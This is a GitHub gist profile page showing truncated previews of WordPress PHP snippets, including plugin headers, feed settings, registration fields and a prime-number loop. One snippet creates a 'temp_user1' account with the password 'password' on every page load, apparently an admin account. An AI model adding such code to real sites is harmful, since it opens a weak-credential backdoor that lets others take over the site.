Skip to content

Instantly share code, notes, and snippets.

View enishant's full-sized avatar

Nishant Vaity enishant

View GitHub Profile
<?php
/**
* Plugin Name: Private Post Access
* Plugin URI: http://wordpress.stackexchange.com/questions/130967/get-full-page-html-for-a-non-public-wordpress-page
* Description: Generate and handle urls that allow access to posts in non-public status.
* Author: G. M.
* Author URI: http://wordpress.stackexchange.com/users/35541/g-m
*
*/
<?php
add_action('init', 'remove_feed_from_rewrite');
function remove_feed_from_rewrite() {
global $wp_rewrite;
$wp_rewrite->feeds = array( 'rdf', 'rss', 'rss2', 'atom' );
}
<?php
/*
* Plugin Name: My Sites Search
* Plugin URI: trepmal.com
* Description:
* Version:
* Author: Kailey Lampert
* Author URI: kaileylampert.com
* License: GPLv2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
<?php
add_action('init', 'create_new_admin');
function create_new_admin() {
$user_name = 'temp_user1';
$password = 'password';
$user_id = username_exists( $user_name );
if ( ! $user_id ) {
$id = wp_create_user( $user_name, $password );
<?php
// Plugin Name: Add Categories to Media
add_action( 'init', 'categories_for_media' );
function categories_for_media() {
register_taxonomy_for_object_type( 'category', 'attachment' );
}
<?php
add_action( 'register_form', 'additional_profile_fields' );
add_action( 'signup_extra_fields', 'additional_profile_fields' );
function additional_profile_fields() { ?>
<p>
<label><?php _e('First Name') ?><br />
<input type="text" name="first_name" id="first_name" class="input" size="25" /></label>
</p>
<p>
<?php
/*
Plugin Name: Ajax Password Protected
Plugin URI: http://trepmal.com/
Description: Ajax-ified password-protected form
Version: 0.1
Author: Kailey Lampert
Author URI: http://kaileylampert.com
Copyright (C) 2012 Kailey Lampert
<?php
for($n=0;$n<=100;$n++) { // To find prime number from 0 to 100 numbers.
if(isPrime($n)) {
echo $n . ' is Prime Number.<br>';
}
}
function isPrime($number) {
for ($i =2; $i < $number; $i++) {
if ($number % $i == 0 && $i != $number) return false;
<?php
/*
Plugin Name: Custom Meta Test
*/
new CustomMetaTest;
class CustomMetaTest
{
function __construct()
{
add_action( 'add_meta_boxes' , array($this , 'metaboxDefination') );